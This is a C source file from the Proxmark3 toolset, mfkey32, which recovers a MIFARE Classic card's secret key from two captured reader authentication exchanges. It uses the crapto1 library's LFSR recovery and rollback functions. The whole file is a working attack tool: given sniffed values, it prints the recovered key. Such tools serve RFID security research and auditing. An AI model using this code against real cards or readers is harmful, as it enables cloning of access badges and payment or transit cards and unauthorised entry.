proxmark3/tools/mfkey/mfkey32.c

#define __STDC_FORMAT_MACROS
#include <inttypes.h>
#include "crapto1.h"
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

#define llx PRIx64
#define lli PRIi64
int main (int argc, char *argv[]) {
	struct Crypto1State *s,*t;
	uint64_t key;     // recovered key
	uint32_t uid;     // serial number
	uint32_t nt;      // tag challenge
	uint32_t nr0_enc; // first encrypted reader challenge
	uint32_t ar0_enc; // first encrypted reader response
	uint32_t nr1_enc; // second encrypted reader challenge
	uint32_t ar1_enc; // second encrypted reader response
	uint32_t ks2;     // keystream used to encrypt reader response

	printf("MIFARE Classic key recovery - based 32 bits of keystream\n");
	printf("Recover key from two 32-bit reader authentication answers only!\n\n");

	if (argc < 7) {
		printf(" syntax: %s <uid> <nt> <nr_0> <ar_0> <nr_1> <ar_1>\n\n",argv[0]);
		return 1;
	}

	sscanf(argv[1],"%x",&uid);
	sscanf(argv[2],"%x",&nt);
	sscanf(argv[3],"%x",&nr0_enc);
	sscanf(argv[4],"%x",&ar0_enc);
	sscanf(argv[5],"%x",&nr1_enc);
	sscanf(argv[6],"%x",&ar1_enc);

	printf("Recovering key for:\n");
	printf("    uid: %08x\n",uid);
	printf("     nt: %08x\n",nt);
	printf(" {nr_0}: %08x\n",nr0_enc);
	printf(" {ar_0}: %08x\n",ar0_enc);
	printf(" {nr_1}: %08x\n",nr1_enc);
	printf(" {ar_1}: %08x\n",ar1_enc);

	// Generate lfsr succesors of the tag challenge
	printf("\nLFSR succesors of the tag challenge:\n");
	uint32_t p64 = prng_successor(nt, 64);
	printf("  nt': %08x\n", p64);
	printf(" nt'': %08x\n", prng_successor(p64, 32));

	clock_t t1 = clock();
		
	// Extract the keystream from the messages
	printf("\nKeystream used to generate {ar} and {at}:\n");
	ks2 = ar0_enc ^ p64;
	printf("  ks2: %08x\n", ks2);

	s = lfsr_recovery32(ar0_enc ^ p64, 0);
  
	for(t = s; t->odd | t->even; ++t) {
		lfsr_rollback_word(t, 0, 0);
		lfsr_rollback_word(t, nr0_enc, 1);
		lfsr_rollback_word(t, uid ^ nt, 0);
		crypto1_get_lfsr(t, &key);
		crypto1_word(t, uid ^ nt, 0);
		crypto1_word(t, nr1_enc, 1);
		if (ar1_enc == (crypto1_word(t, 0, 0) ^ p64)) {
			printf("\nFound Key: [%012"llx"]\n\n",key);
			break;}
	}
	free(s);
	t1 = clock() - t1;
	if ( t1 > 0 ) printf("Time : %.0f ticks \n", (float)t1);
	return 0;
}